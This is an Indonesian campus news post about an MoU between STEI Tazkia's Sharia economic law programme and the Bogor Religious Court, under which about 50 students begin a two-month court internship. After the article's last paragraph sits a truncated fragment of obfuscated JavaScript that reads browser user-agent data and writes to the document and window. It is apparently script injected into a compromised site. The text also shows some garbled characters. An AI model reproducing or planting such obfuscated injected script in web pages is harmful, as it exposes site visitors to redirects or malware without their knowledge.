Berita Terbaru

Energi dalam Sinergi: Memorandum of Understanding antara STEI Tazkia dan Pengadilan Agama Kota Bogor

No comments

Program magang atau intership merupakan salah satu langkah mahasiswa untuk mengenal dan memperoleh gambaran nyata mengenai dunia kerja. Bahkan fresh graduate sering memanfaatkan magang untuk mencari pengalaman sambil menemukan posisi yang tepat untuk perjalanan karirnya kelak. Setiap perguruan tinggi memiliki program magang agar para mahasiswa tidak hanya memahami teori namun juga mampu mengaplikasikan ilmu untuk praktek di lapangan. STEI Tazkia sebagai kampus pelopor ekonomi Islam juga memiliki program magang yang akan dijalankan oleh para mahasiswa ketika memasuki tingkat akhir.

Kampus STEI Tazkia khususnya pada Program Studi Hukum Ekonomi Syariah atau Muamalah telah melakukan berbagai kerjasama dalam bentuk Memorandum of Understanding (MoU) dengan pihak dalam negeri maupun luar negeri. Salah satu MoU yang dilaksanakan hari ini adalah praktik kerja peradilan, kerjasama antara Pengadilan Agama Kota Bogor yang juga dihadiri oleh para dosen pembimbing serta mahasiswa STEI Tazkia, dengan mengangkat tema, a�?Melahirkan Insan Akademis Yang Berkualitas Dan Berintegritas Dalam Layanan Dan Penegakan Hukum Keadilana�?. Para mahasiswa dari kampus tersebut berjumlah kurang lebih 50 orang yang akan melaksanakan program magang selama kurang lebih dua bulan ke depan diharapkan mampu memahami dan mempelajari lebih dalam mengenai tugas pokok dan fungsi (tupoksi) pengadilan agama di bawah bimbingan para staff di pengadilan agama Kota Bogor.

Salah satu profesi yang akan menjadi profesi masa depan bagi mahasiswa program studi hukum syariah adalah hakim dan staff hukum. Oleh karena itu mahasiswa prodi tersebut harus memahami hal-hal yang berkaitan dengan pengadilan agama dan proses peradilan seperti nikah, talak, sengketa ekonomi syariah dan sebagainya.

Pengadilan Agama, sebagai Pengadilan Tingkat Pertama bertugas dan berwenang menerima, memeriksa, memutus dan menyelesaikan perkara-perkara di tingkat pertama antara orang-orang yang beragama Islam di bidang perkawinan, waris, wasiat, hibah, wakaf, zakat, infaq, shadaqah dan ekonomi syaria��ah sebagaimana diatur dalam pasal 49 Undang-Undang Republik Indonesia Nomor 3 Tahun 2006 tentang perubahan atas Undang-Undang Nomor 7 Tahun 1989 tentang Peradilan Agama.

Ketua Program Studi Muamalah, Dr. Abdurrahman Misno BP, M.E.I memberikan sambutan sekaligus berpesan kepada para mahasiswa yang akan melakukan program magang di Pengadilan Agama Kota Bogor agar dapat mengambil ilmu sebanyak-banyaknya dari program magang ini serta tetap menjaga nama baik dan nilai-nilai yang telah ditanamkan di STEI Tazkia.

Acara sidang ditutup dengan ketuk palu sebanyak tiga kali oleh ketua Pengadilan Agama Bogor, Drs. H. Sirajuddin Sailellah, S.H, M.H.I, sebagai pertanda bahwa diterimanya para mahasiswa untuk melaksanakan program magang dan akan dibimbing dengan baik serta dilakukan penandatangan MoU antara ketua Pengadilan Agama Bogor dengan para dosen pembimbing dilanjutkan dengan sesi foto bersama sebagai dokumentasi. dm

  cument[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarEnergi dalam Sinergi: Memorandum of Understanding antara STEI Tazkia dan Pengadilan Agama Kota Bogor

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *